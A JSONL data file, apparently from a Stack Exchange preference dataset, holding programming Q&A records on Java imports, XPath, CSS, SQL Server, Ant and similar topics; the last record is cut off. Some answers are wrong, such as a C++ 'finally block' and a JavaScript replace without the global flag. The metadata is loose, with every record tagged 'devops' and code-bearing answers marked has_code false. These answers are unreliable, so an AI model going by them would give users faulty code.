{"id": "hf_91e1ce482948", "question": "<p>It is much more convenient and cleaner to use a single statement like</p>\n\n<pre><code>import java.awt.*;\n</code></pre>\n\n<p>than to import a bunch of individual classes</p>\n\n<pre><code>import java.awt.Panel;\nimport java.awt.Graphics;\nimport java.awt.Canvas;\n...\n</code></pre>\n\n<p>What is wrong with using a wildcard in the <code>import</code> statement?</p>\n", "question_body": "", "answer": "The only problem with it is that it clutters your local namespace.  For example, let's say that you're writing a Swing app, and so need\n```\njava.awt.Event\n```\n, and are also interfacing with the company's calendaring system, which has\n```\ncom.mycompany.calendar.Event\n```\n.  If you import both using the wildcard method, one of these three things happens:\nYou have an outright naming conflict between\n```\njava.awt.Event\n```\nand\n```\ncom.mycompany.calendar.Event\n```\n, and so you can't even compile.\nYou actually manage only to import one (only one of your two imports does\n```\n.*\n```\n), but it's the wrong one, and you struggle to figure out why your code is claiming the type is wrong.\nWhen you compile your code there is no\n```\ncom.mycompany.calendar.Event\n```\n, but when they later add one your previously valid code suddenly stops compiling.\nThe advantage of explicitly listing all imports is that I can tell at a glance which class you meant to use, which simply makes reading the code that much easier. If you're just doing a quick one-off thing, there's nothing explicitly\nwrong\n, but future maintainers will thank you for your clarity otherwise.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:48.741068"}
{"id": "hf_c90fa3532028", "question": "<p>I have an ASP.NET 3.5 WebForm that leverages the frameworks Page.ClientScript.GetCallbackEventReference() method and I'd like some of the calls to be synchronous.  </p>\n\n<p>Now, the documentation says that the 5th parameter (see below) controls this.  Specifically, when you pass 'false' it's supposed to be a non-asynchronous call.  However, regardless if it's true or false, it still processes the call asynchronously.  </p>\n\n<pre><code>Page.ClientScript.GetCallbackEventReference(this, \"arg\", \"ReceiveServerData\", \"context\",false);\n</code></pre>\n\n<p>Is there a work-around for this or perhaps I'm doing something wrong?  </p>\n", "question_body": "", "answer": "ASPX Page\n```\n```\n<%@ Page Language=\"VB\" AutoEventWireup=\"false\" CodeFile=\"How-to-use-GetCallbackEventReference.aspx.vb\" Inherits=\"How_to_use_Callback\" %>\n\n<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n\n<html xmlns=\"http://www.w3.org/1999/xhtml\">\n<head runat=\"server\">\n    <title>How to use GetCallbackEventReference</title>\n        <script type=\"text/javascript\">\n            function GetNumber() {\n                UseCallback();\n            }\n            function GetRandomNumberFromServer(txtGetNumber, context) {\n                document.forms[0].txtGetNumber.value = txtGetNumber\n            }\n        </script>\n</head>\n<body>\n    <form id=\"form1\" runat=\"server\">\n    <div>\n        <input id=\"Button1\" type=\"button\" value=\"Get Random Number\" onclick=\"GetNumber()\" /><br /><br />\n        <asp:TextBox ID=\"txtGetNumber\" runat=\"server\"></asp:TextBox>&nbsp;</div>\n    </form>\n</body>\n</html>\n```\n```\nCode Behind\n```\n```\nPartial Class How_to_use_Callback\n    Inherits System.Web.UI.Page\n    Implements System.Web.UI.ICallbackEventHandler\n    Dim CallbackResult As String = Nothing\n    Protected Sub Page_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load\n        Dim cbReference As String = Page.ClientScript.GetCallbackEventReference(Me, \"arg\", \"GetRandomNumberFromServer\", \"context\")\n        Dim cbScript As String = \"function UseCallback(arg,context)\" & \"{\" & cbReference & \" ; \" & \"}\"\n        Page.ClientScript.RegisterClientScriptBlock(Me.GetType(), \"UseCallback\", cbScript, True)\n    End Sub\n\n    Public Function GetCallbackResult() As String Implements System.Web.UI.ICallbackEventHandler.GetCallbackResult\n        Return CallbackResult\n    End Function\n\n    Public Sub RaiseCallbackEvent(ByVal eventArgument As String) Implements System.Web.UI.ICallbackEventHandler.RaiseCallbackEvent\n        CallbackResult = Rnd().ToString()\n    End Sub\nEnd Class\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:48.765148"}
{"id": "hf_d4420cd905e6", "question": "<p>I've developed a Visual C#.NET 2008 Express Edition solution containing three projects. I am cleaning it up to commit it into a CVS repository.</p>\n\n<p>There are several files that are created during the build process that are not necessary to be placed in the repository since they will be regenerated automatically.</p>\n\n<p>The question: Can anyone suggest a list of patterns to be placed into a .cvsignore file so that these generated files and folders are ignored?</p>\n", "question_body": "", "answer": "Typically these are the only things that you\nhave\nto commit:\n.sln files\n.cs files\n.csproj files\n.config files\nExternal DLLs and corresponding XML/config files that you are referencing\nother non-generated files that your application uses\nAll the rest are to be ignored, including:\n.suo files\n.csproj.user files\n/bin folder and contents\n/obj folder and contents\npractically everything else", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:48.793178"}
{"id": "hf_54afa5b9600b", "question": "<p>Given the following XML structure</p>\n\n<pre><code>&lt;html&gt;\n  &lt;body&gt;\n    &lt;div&gt;\n      &lt;span&gt;Test: Text2&lt;/span&gt;\n    &lt;/div&gt;\n    &lt;div&gt;\n      &lt;span&gt;Test: Text3&lt;/span&gt;\n    &lt;/div&gt;\n    &lt;div&gt;\n      &lt;span&gt;Test: Text5&lt;/span&gt;\n    &lt;/div&gt;\n  &lt;/body&gt;\n&lt;/html&gt;\n</code></pre>\n\n<p>What is the best XPath query to locate any <code>span</code> with text that starts with <code>Test</code>?</p>\n", "question_body": "", "answer": "```\n```\n//span[starts-with(.,'Test')]\n```\n```\nReferences:\nhttp://www.w3.org/TR/xpath/#function-starts-with\nhttps://developer.mozilla.org/en-US/docs/Web/XPath/Functions/starts-with", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:48.841533"}
{"id": "hf_b7e7499949b4", "question": "<p>Is it possible to include one CSS file in another?</p>\n", "question_body": "", "answer": "Yes:\n```\n```\n@import url(\"base.css\");\n```\n```\nNote:\nThe\n```\n@import\n```\nrule\nmust precede\nall other rules (except\n```\n@charset\n```\n).\nAdditional\n```\n@import\n```\nstatements require additional server requests. As an alternative, concatenate all CSS into one file to avoid multiple HTTP requests. For example, copy the contents of\n```\nbase.css\n```\nand\n```\nspecial.css\n```\ninto\n```\nbase-special.css\n```\nand reference only\n```\nbase-special.css\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:48.882066"}
{"id": "hf_b3373f40767d", "question": "<p>Given a string with a module name, how do you import everything in the module as if you had called:</p>\n\n<pre><code>from module import *\n</code></pre>\n\n<p>i.e. given string S=\"module\", how does one get the equivalent of the following:</p>\n\n<pre><code>__import__(S, fromlist=\"*\")\n</code></pre>\n\n<p>This doesn't seem to perform as expected (as it doesn't import anything).</p>\n", "question_body": "", "answer": "Please reconsider. The only thing worse than\n```\nimport *\n```\nis\nmagic\n```\nimport *\n```\n.\nIf you really want to:\n```\n```\nm = __import__ (S)\ntry:\n    attrlist = m.__all__\nexcept AttributeError:\n    attrlist = dir (m)\nfor attr in attrlist:\n    globals()[attr] = getattr (m, attr)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:48.919222"}
{"id": "hf_5e2e774ff9b1", "question": "<p>How do you calculate the least common multiple of multiple numbers?</p>\n\n<p>So far I've only been able to calculate it between two numbers. But have no idea how to expand it to calculate 3 or more numbers.</p>\n\n<p>So far this is how I did it  </p>\n\n<pre><code>LCM = num1 * num2 /  gcd ( num1 , num2 )\n</code></pre>\n\n<p>With gcd is the function to calculate the greatest common divisor for the numbers. Using euclidean algorithm</p>\n\n<p>But I can't figure out how to calculate it for 3 or more numbers.</p>\n", "question_body": "", "answer": "You can compute the LCM of more than two numbers by iteratively computing the LCM of two numbers, i.e.\n```\n```\nlcm(a,b,c) = lcm(a,lcm(b,c))\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:48.944142"}
{"id": "hf_f2f57bcdc512", "question": "<p>Are there any IDE's for developing HLSL code?  The three key features I want are:<br>\n1) syntax highlighting<br>\n2) auto-complete<br>\n3) interaction debugging</p>\n\n<p>Visual Studio doesn't do any of these things, and it doesn't seem that RenderMonkey or FX Composer do either.</p>\n\n<p>Is there some IDE that I'm not aware of, or does one of these three IDE's actually support these features and I'm too clueless to figure out how to use them properly?</p>\n", "question_body": "", "answer": "Have you actually tried ATI's RenderMoney or NVidia's FX Composer?\nBoth actually provide syntax highlighting. Futher more, NVidia's Cg toolkits actually allows you to enable syntaxhightling in Visual Studio with some custom setting.\nAs for auto-completion, I don't think it's much needed as compare to our normal programming. It's because you won't be writing a very long code for your shader programming. Shader is quite critical in that it is run on every frame generated, and every instruction require 1 to a few clock cycle to execute, thus there's always a physical limit to how long you can afford to write.\nInteractive debugging is currently the limitation of GPU hardware. To actually do that, the GPU has to be emulated with our CPU, which is quite impossible considering that the REF (software rendering) device can never cop up with even obsolete GPU, what more to say about emulating shader.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:48.981264"}
{"id": "hf_862a083705ce", "question": "<pre><code>class someclass {};\n\nclass base\n{\n    int a;\n    int *pint;\n    someclass objsomeclass;\n    someclass* psomeclass;\npublic:\n    base()\n    {\n        objsomeclass = someclass();\n        psomeclass = new someclass();\n        pint = new int(); \n        throw \"constructor failed\";\n        a = 43;\n    }\n}\n\nint main()\n{\n    base temp();\n}\n</code></pre>\n\n<p>In the above code, the constructor throws. Which objects will be leaked, and how can the memory leaks be avoided?</p>\n\n<pre><code>int main()\n{\n    base *temp = new base();\n}\n</code></pre>\n\n<p>How about in the above code? How can the memory leaks be avoided after the constructor throws?</p>\n", "question_body": "", "answer": "Everything you \"new\" needs to be deleted, or you'll cause a memory leak. So these two lines:\n```\n```\npsomeclass = new someclass();\npint = new int();\n```\n```\nWill cause memory leaks, because you need to do:\n```\n```\ndelete pint;\ndelete psomeclass;\n```\n```\nIn a finally block to avoid them being leaked.\nAlso, this line:\n```\n```\nbase temp = base();\n```\n```\nIs unnecessary. You just need to do:\n```\n```\nbase temp;\n```\n```\nAdding the \"= base()\" is unnecessary.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:49.077799"}
{"id": "hf_47bad55f0ccf", "question": "<p>in Javascript, the following:</p>\n\n<pre><code>var test = '\"the quick\" \"brown fox\" \"jumps over\" \"the lazy dog\"';\nvar result = test.match(/\".*?\"/g);\nalert(result);\n</code></pre>\n\n<p>yields \"the quick\",\"brown fox\",\"jumps over\",\"the lazy dog\"</p>\n\n<p>I want each matched element to be unquoted: the quick,brown fox,jumps over,the lazy dog</p>\n\n<p>what regexp will do this?</p>\n", "question_body": "", "answer": "You can use the\nJavascript replace() method\nto strip them out.\n```\n```\nvar test = '\"the quick\" \"brown fox\" \"jumps over\" \"the lazy dog\"';\n\nvar result = test.replace(/\"/, '');\n```\n```\nIs there more to it than just getting rid of the double-quotes?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:49.108098"}
{"id": "hf_ef5a8114a0fc", "question": "<p>What is the best way to detect if a user leaves a web page?</p>\n\n<p>The <code>onunload</code> JavaScript event doesn't work every time (the HTTP request takes longer than the time required to terminate the browser).</p>\n\n<p>Creating one will probably be blocked by current browsers.</p>\n", "question_body": "", "answer": "One (slightly hacky) way to do it is replace and links that lead away from your site with an AJAX call to the server-side, indicating the user is leaving, then use that same javascript block to take the user to the external site they've requested.\nOf course this won't work if the user simply closes the browser window or types in a new URL.\nTo get around that, you'd potentially need to use Javascript's setTimeout() on the page, making an AJAX call every few seconds (depending on how quickly you want to know if the user has left).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:49.143532"}
{"id": "hf_c66ae3523db7", "question": "<p>What would I do if I want to have a generic method that only accepts types that have overloaded an operator, for instance the subtraction operator. I tried using an interface as a constraint but interfaces can't have operator overloading. </p>\n\n<p>What is the best way to achieve this?</p>\n", "question_body": "", "answer": "There is no immediate answer; operators are static, and cannot be expressed in constraints - and the existing primatives don't implement any specific interface (contrast to IComparable[<T>] which can be used to emulate greater-than / less-than).\nHowever; if you just want it to work, then in .NET 3.5 there are some options...\nI have put together a library\nhere\nthat allows efficient and simple access to operators with generics - such as:\n```\n```\nT result = Operator.Add(first, second); // implicit <T>; here\n```\n```\nIt can be downloaded as part of\nMiscUtil\nAdditionally, in C# 4.0, this becomes possible via\n```\ndynamic\n```\n:\n```\n```\nstatic T Add<T>(T x, T y) {\n    dynamic dx = x, dy = y;\n    return dx + dy;\n}\n```\n```\nI also had (at one point) a .NET 2.0 version, but that is less tested. The other option is to create an interface such as\n```\n```\ninterface ICalc<T>\n{\n    T Add(T,T)() \n    T Subtract(T,T)()\n}\n```\n```\netc, but then you need to pass an\n```\nICalc<T>;\n```\nthrough all the methods, which gets messy.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:49.167546"}
{"id": "hf_a0495bad86a6", "question": "<p>I have Eclipse setup with PyDev and love being able to debug my scripts/apps.  I've just started playing around with Pylons and was wondering if there is a way to start up the paster server through Eclipse so I can debug my webapp?</p>\n", "question_body": "", "answer": "Create a new launch configuration (Python Run)\nMain tab\nUse paster-script.py as main module (you can find it in the Scripts sub-directory in your python installation directory)\nDon't forget to add the root folder of your application in the PYTHONPATH zone\nArguments\nSet the base directory to the root folder also.\nAs Program Arguments use \"serve development.ini\" (or whatever you use to debug your app\")\nCommon Tab\nCheck allocate console and launch in background", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:49.207156"}
{"id": "hf_0d5feb7e8846", "question": "<p>How can I get the list of available databases on a SQL Server instance? I'm planning to make a list of them in a combo box in VB.NET.</p>\n", "question_body": "", "answer": "Execute:\n```\nSELECT name FROM master.sys.databases\n```\nThis the preferred approach now, rather than\n```\ndbo.sysdatabases\n```\n, which has been deprecated for some time.\nExecute this query:\n```\n```\nSELECT name FROM master.dbo.sysdatabases\n```\n```\nor if you prefer\n```\n```\nEXEC sp_databases\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:49.244070"}
{"id": "hf_898e198c11a3", "question": "<p>How can I extract the list of available SQL servers in an SQL server group? I'm planning to put that list in a combo box in VB.NET.</p>\n", "question_body": "", "answer": "The only way I knew to do it was using the command line:\n```\n```\nosql -L\n```\n```\nBut I found the below article which seems to solve your specific goal filling a combobox:\nhttp://www.sqldbatips.com/showarticle.asp?ID=45", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:49.291203"}
{"id": "hf_d4ba66ff1b85", "question": "<p>I'm looking at ways to deploy a Ruby on Rails app (running on JRuby) to a Tomcat instance for testing.</p>\n\n<p>The tomcat instance is running on a Solaris server that I can SSH to. I've looked at using Capistrano, but there doesn't seem to be a lot out there about using it to deploy to Tomcat, or even about running it under JRuby, and I keep hitting bugs in Capistrano due to the Windows/JRuby environment my PC is running (yeah, it's corporate - not my choice, but I've got to live with it).</p>\n\n<p>I'm using warble to build the .war file, and the app deploys and runs fine once I manually copy it up and deploy it. I'm wanting something easier and more automated to actually get it there.</p>\n\n<p>Anyone done this before? Documentation on the web seems pretty thin.</p>\n", "question_body": "", "answer": "I don't have much experience on this, so I don't know if I can give you the BEST way, but if Capistrano doesn't work, and you can't have a separate MRI install just to run it, you have just a few alternatives left:\nTry running plain Rake and write your own deployment target:\nhttp://www.gra2.com/article.php/deploy-ruby-on-rails-applications-rake\nOr use Ant or Maven.\nOr if it just ONE server you have to deploy to, you could just hack together two Ruby scripts - one that listens on the server for shutdown/startup requests, and one local that you run to: Send shutdown, scp over the file, send startup.\nBy the way, have you submitted any integration bugs you find with Capistrano to the JRuby team? I'm sure they'd be happy to have any contribution.\n:)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:49.315359"}
{"id": "hf_b9112b75d371", "question": "<p>How do you calculate the length of the string that would be returned by Array::pack?  Is there something like Python's calcsize?</p>\n", "question_body": "", "answer": "By making an interpreter complying to the specifications found in\nArray::pack\n.\nOr, reusing the existing implementation to count the number of characters instead of appending them to a string.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:49.350113"}
{"id": "hf_f84cab462f8d", "question": "<p>In C I could, for example, zero out bit #10 in a 32 bit unsigned value like so:</p>\n\n<pre><code>unsigned long value = 0xdeadbeef;\nvalue &amp;= ~(1&lt;&lt;10);\n</code></pre>\n\n<p>How do I do that in Python ?</p>\n", "question_body": "", "answer": "```\n```\nvalue = 0xdeadbeef\nvalue &= ~(1<<10)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:49.398455"}
{"id": "hf_0f88ff404067", "question": "<p>Is there a Delphi equivalent of the C# #if(DEBUG) compiler directive?</p>\n", "question_body": "", "answer": "Use this:\n```\n```\n{$IFDEF DEBUG}\n...\n{$ENDIF}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:49.441150"}
{"id": "hf_19e9bc44c76c", "question": "<p>In a text file, there is a string \"I don't like this\".</p>\n\n<p>However, when I read it into a string, it becomes \"I don\\xe2\\x80\\x98t like this\". I understand that \\u2018 is the unicode representation of \"'\". I use </p>\n\n<pre><code>f1 = open (file1, \"r\")\ntext = f1.read()\n</code></pre>\n\n<p>command to do the reading.</p>\n\n<p>Now, is it possible to read the string in such a way that when it is read into the string, it is \"I don't like this\", instead of \"I don\\xe2\\x80\\x98t like this like this\"?</p>\n\n<p>Second edit: I have seen some people use mapping to solve this problem, but really, is there no built-in conversion that does this kind of ANSI to unicode ( and vice versa) conversion?</p>\n", "question_body": "", "answer": "Actually, U+2018 is the Unicode representation of the special character ‘ . If you want, you can convert instances of that character to U+0027 with this code:\n```\n```\ntext = text.replace (u\"\\u2018\", \"'\")\n```\n```\nIn addition, what are you using to write the file?\n```\nf1.read()\n```\nshould return a string that looks like this:\n```\n```\n'I don\\xe2\\x80\\x98t like this'\n```\n```\nIf it's returning\nthis\nstring, the file is being written incorrectly:\n```\n```\n'I don\\u2018t like this'\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:49.478622"}
{"id": "hf_dd8310028ff3", "question": "<p>In the admin interface and newforms there is the brilliant helper of being able to define choices. You can use code like this:</p>\n\n<pre><code>APPROVAL_CHOICES = (\n    ('yes', 'Yes'),\n    ('no', 'No'),\n    ('cancelled', 'Cancelled'),\n)\n\nclient_approved = models.CharField(choices=APPROVAL_CHOICES)\n</code></pre>\n\n<p>to create a drop down box in your form and force the user to choose one of those options.</p>\n\n<p>I'm just wondering if there is a way to define a set of choices where multiple can be chosen using checkboxes? (Would also be nice to be able to say that the user can select a maximum number of them.) It seems like it's a feature that is probably implemented, it's just I can't seem to find it in the documentation.</p>\n", "question_body": "", "answer": "In terms of the forms library, you would use the\nMultipleChoiceField\nfield with a\nCheckboxSelectMultiple\nwidget to do that. You could validate the number of choices which were made by writing a validation method for the field:\n```\n```\nclass MyForm(forms.Form):\n    my_field = forms.MultipleChoiceField(choices=SOME_CHOICES, widget=forms.CheckboxSelectMultiple())\n\n    def clean_my_field(self):\n        if len(self.cleaned_data['my_field']) > 3:\n            raise forms.ValidationError('Select no more than 3.')\n        return self.cleaned_data['my_field']\n```\n```\nTo get this in the admin application, you'd need to customise a ModelForm and\noverride the form used in the appropriate ModelAdmin\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:49.515466"}
{"id": "hf_8d11557bf9fd", "question": "<p>We are setting up a <a href=\"http://selenium.openqa.org/\" rel=\"nofollow noreferrer\">Selenium</a> test campaign on a big web application.\nThe first thing we've done was to build a framework which initialize SQL data in database before the test, launch the test, archive results and then clear data.</p>\n\n<p>We've integrate that in a Maven 2 process, run every day by <a href=\"http://www.jetbrains.com/teamcity/\" rel=\"nofollow noreferrer\">TeamCity</a> on a dedicated database.</p>\n\n<p>We've set up several Selenium tests now but It's not as used as planned.</p>\n\n<p>Reasons are that tests are sometimes broken for other reasons than regressions (data may have changed, stored procedure may have been recompiled and so on).</p>\n\n<p>I would like to know if there are big success in user interface testing and if so, reasons to that. Commons errors may also interest me.</p>\n", "question_body": "", "answer": "I use http-unit which has the added benefit of working before any styling has been added to the page.\nhttp://httpunit.sourceforge.net/\nYou can attach the tests to run in the integration test phase for maven2.\nFrom the site\nWritten in Java, HttpUnit emulates the\n  relevant portions of browser behavior,\n  including form submission, JavaScript,\n  basic http authentication, cookies and\n  automatic page redirection, and allows\n  Java test code to examine returned\n  pages either as text, an XML DOM, or\n  containers of forms, tables, and\n  links.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:49.539937"}
{"id": "hf_a1005eabb91b", "question": "<p>With the recent buzz on multicore programming is anyone exploring the possibilities of using <a href=\"http://www-unix.mcs.anl.gov/mpi/\" rel=\"noreferrer\">MPI</a> ?</p>\n", "question_body": "", "answer": "No, in my opinion it is unsuitable for most processing you would do on a multicore system.  The overhead is too high, the objects you pass around must be deeply cloned, and passing large objects graphs around to then run a very small computation is very inefficient. It is really meant for sharing data between separate processes, most often running in separate memory spaces, and most often running long computations.\nA multicore processor is a shared memory machine, so there are much more efficient ways to do parallel processing, that do not involve copying objects and where most of the threads run for a very small time. For example, think of a multithreaded Quicksort. The overhead of allocating memory and copying the data to a thread before it can be partioned will be much slower with MPI and an\nunlimited\nnumber of processors than Quicksort running on a single processor.\nAs an example, in Java, I would use a BlockingQueue (a shared memory construct), to pass object\nreferences\nbetween threads, with very little overhead.\nNot that it does not have its place, see for example the Google search cluster that uses message passing. But it's probably not the problem you are trying to solve.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:49.575347"}
{"id": "hf_d90a23910bc1", "question": "<p>I'm creating an installation script for an application that I'm developing and need to create databases dynamically from within PHP. I've got it to create the database but now I need to load in several .sql files. I had planned to open the file and mysql_query it a line at a time - until I looked at the schema files and realised they aren't just one query per line.</p>\n\n<p>So, how do I load an sql file from within PHP (as phpMyAdmin does with its import command)?</p>\n", "question_body": "", "answer": "```\n```\nmysql_query(\"LOAD DATA LOCAL INFILE '/path/to/file' INTO TABLE mytable\");\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:49.643292"}
{"id": "hf_845729b7cfb7", "question": "<p>To be more precise, I need to know whether (and if possible, how) I can find whether a given string has double byte characters or not. Basically, I need to open a pop-up to display a given text which can contain double byte characters, like Chinese or Japanese. In this case, we need to adjust the window size than it would be for English or ASCII.\nAnyone has a clue?</p>\n", "question_body": "", "answer": "Why not let the window resize itself based on the runtime height/width?\nRun something like this in your pop-up:\n```\n```\nwindow.resizeTo(document.body.clientWidth, document.body.clientHeight);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:49.667803"}
{"id": "hf_3521919ea602", "question": "<p>I am already excited about document databases and especially about CouchDB's simplicity. But I have a hard time understanding if such databases are a viable option for multi user systems. Since those systems require some kind of relations between records which document databases do not provide.</p>\n\n<p>Is it completely the wrong tool for such cases? Or some tagging and temporary views are the way to accomplish this? Or else...</p>\n\n<p>UPDATE:<br>\nI understand the answers so far. But let me rephrase the question a bit. Lets say I have a load of semi-structured data which is normally a fit for CouchDB. I can tag them like \"type=post\" and \"year=2008\". My question is how far can I go with this type of tagging? Say can I create an array field with 10.000 names in it? Or is there a better way of doing this? It is a matter of understanding how to think in this document based sense.</p>\n", "question_body": "", "answer": "Multi-user systems do not\nrequire\nrelational databases, though RDBMSs are a staple technology for data storage/retrieval for a vast number of (especially CRUD) applications.\nIf you want to read-up on document/object -oriented, distributed database solutions of yore, search on \"Lotus Notes/Domino\" (it's a mature technology/product in this area that's good background knowledge in how applications are designed in a document-based paradigm. Classically, it's really good at workflow type applications).\nOn CouchDB specifically, check out:\nhttp://wiki.apache.org/couchdb/\n(this shouldn't be a surprise)\nhttp://seanoc.wordpress.com/2007/10/12/more-on-couchdb/\n(easy reading description overview)\nhttp://twit.tv/floss36\n(Podcast interview all about CouchDB)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:49.697016"}
{"id": "hf_d7521f273831", "question": "<p>I have the problem that an specific step in Ant can only be executed when we have Java 1.5 installed in the build computer.  The task definition uses  uses a jar file that was compiled using 1.5, so running with a 1.4 virtual machine will throw an IncompatibleClassVersion exception.</p>\n\n<p>I have to find a solution meanwhile to have this task working for this specific project that requires 1.4, but a question came to me.  How can I avoid defining this task and executing this optional step if I don't have a specific java version?</p>\n\n<p>I could use the \"if\" or \"unless\" tags on the target tag, but those only check if a property is set or not.  I also would like to have a solution that doesn't require extra libraries, but I don't know if the build-in functionality in standard is enough to perform such a task.</p>\n", "question_body": "", "answer": "The Java version is exposed via the\nant.java.version\nproperty. Use a\ncondition\nto set a property and execute the task only if it is true.\n```\n```\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<project name=\"project\" default=\"default\">\n\n    <target name=\"default\" depends=\"javaCheck\" if=\"isJava6\">\n        <echo message=\"Hello, World!\" />\n    </target>\n\n    <target name=\"javaCheck\">\n        <echo message=\"ant.java.version=${ant.java.version}\" />\n        <condition property=\"isJava6\">\n            <equals arg1=\"${ant.java.version}\" arg2=\"1.6\" />\n        </condition>\n    </target>\n\n</project>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 